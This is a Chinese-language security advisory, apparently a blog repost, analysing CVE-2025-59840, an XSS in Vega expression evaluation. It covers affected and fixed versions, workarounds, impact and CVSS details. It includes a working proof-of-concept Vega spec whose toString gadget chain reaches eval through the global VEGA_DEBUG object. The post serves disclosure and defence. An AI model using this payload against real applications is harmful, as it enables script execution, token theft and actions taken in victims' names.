写点什么

Vega 表达式滥用 toString 调用导致跨站脚本 (XSS) 漏洞分析

作者:qife122
  • 2025-11-21
    福建
  • 本文字数:1888 字

    阅读完需:约 6 分钟

Vega Cross-Site Scripting (XSS) via expressions abusing toString calls in environments using the VEGA_DEBUG global variable · CVE-2025-59840

漏洞详情

影响范围

满足以下两个条件的应用程序面临任意 JavaScript 代码执行风险,即使使用"安全模式"表达式解释器:


  • 在应用程序中将 vega 库和 vega.View 实例附加到全局 window 对象(类似于 Vega Editor 的做法)

  • 允许用户定义的 Vega JSON 定义(而非仅通过源代码提供的 JSON)

修复版本

如果使用最新的 Vega 6.x 系列:


  • vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1(如果使用 AST 评估器模式)


如果使用非 ESM 环境中的 Vega:


  • vega-expression 5.2.1 / 1.2.1(如果使用 AST 评估器模式)

临时解决方案

用户无需升级即可修复或缓解漏洞的方法:


  • 不要将 vega View 实例附加到全局变量,正如编辑器曾经的做法

  • 不要将 vega 库附加到全局 window 对象,正如编辑器曾经的做法


这些将 vega 库和 View 实例附加到全局的做法可能便于调试,但不应在生产环境或任何可能由不受信任方提供 vega/vega-lite 定义的情况下使用。

PoC 摘要

Vega 在安全上下文中提供表达式评估,禁止任意函数调用。当事件暴露给表达式时,可以获取 window 对象的成员。由于这种暴露,在某些应用程序中,精心构造的重写其 toString 方法的对象可以通过调用 this.foo(this.bar)实现 DOM XSS。


实际上,全局 VEGA_DEBUG 代码中存在这样的可访问小工具:


({    toString: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on,     eventName: event.view.console.log,    _handlers: {        undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'    },    _handlerIndex: event.view.eval})+1
复制代码

PoC 详情

{  "$schema": "https://vega.github.io/schema/vega/v5.json",  "width": 350,  "height": 350,  "autosize": "none",  "description": "Toggle Button",  "signals": [    {      "name": "toggle",      "value": true,      "on": [        {          "events": {"type": "click", "markname": "circle"},          "update": "toggle ? false : true"        }      ]    },    {      "name": "addFilter",      "on": [        {          "events": {"type": "mousemove", "source": "window"},          "update": "({toString:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})+1"        }      ]    }  ]}
复制代码


此有效载荷创建了一个场景:每当移动鼠标时,尝试将其与 1 相加时会隐式调用所提供对象的 toString 函数。toString 函数已被重写为"小工具函数"(VEGA_DEBUG.vega.CanvasHandler.prototype.on),该函数执行以下操作:


on(a, o) {    const u = this.eventName(a)      , d = this._handlers;    if (this._handlerIndex(d[u], a, o) < 0) {    ....    }    ....}
复制代码

PoC 链接

导航到 vega 编辑器,移动鼠标,观察配置中的任意 JavaScript 到达 eval 接收器并实现 DOM XSS。

未来调查

在未启用 VEGA_DEBUG 的情况下,理论上可能存在其他全局范围内的小工具允许类似行为。在使用 AST 评估器且存在阻止获取 eval 引用的情况下,理论上可能存在其他全局范围内的小工具(如 jQuery),允许以相同方式实现 eval(如 $.globalEval)。截至本文撰写时,尚未发现此类全局范围内的小工具。

影响

此漏洞允许 DOM XSS,可能是存储型或反射型,具体取决于库的使用方式。该漏洞需要用户与页面交互才能触发。


攻击者可以通过诱骗用户打开恶意的 Vega 规范来利用此问题。成功利用允许攻击者在应用程序域的上下文中执行任意 JavaScript。这可能导致窃取敏感信息(如身份验证令牌)、操纵向用户显示的数据或以受害者身份执行未经授权的操作。此漏洞危及受影响应用程序的机密性和完整性。

技术规格

严重程度

  • 高危 - CVSS 总体评分:8.1

CVSS v3 基础指标

  • 攻击向量:网络

  • 攻击复杂度:低

  • 所需权限:无

  • 用户交互:需要

  • 范围:未改变

  • 机密性:高

  • 完整性:高

  • 可用性:无

弱点

  • CWE-79 - 在网页生成过程中输入中和不当(跨站脚本)

标识符

  • CVE ID: CVE-2025-59840

  • GHSA ID: GHSA-7f2v-3qq3-vvjf

受影响版本

npm vega 包: < 6.20npm vega-expression 包: >= 6.0.0, < 6.1.0 或 < 5.2.1npm vega-interpreter 包: >= 2.0.0, < 2.2.1 或 < 1.2.1 更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)


公众号二维码


办公AI智能小助手


公众号二维码


网络安全技术点滴分享


用户头像

qife122

关注

还未添加个人签名 2021-05-19 加入

还未添加个人简介

评论

发布
暂无评论
Vega表达式滥用toString调用导致跨站脚本(XSS)漏洞分析_JavaScript_qife122_InfoQ写作社区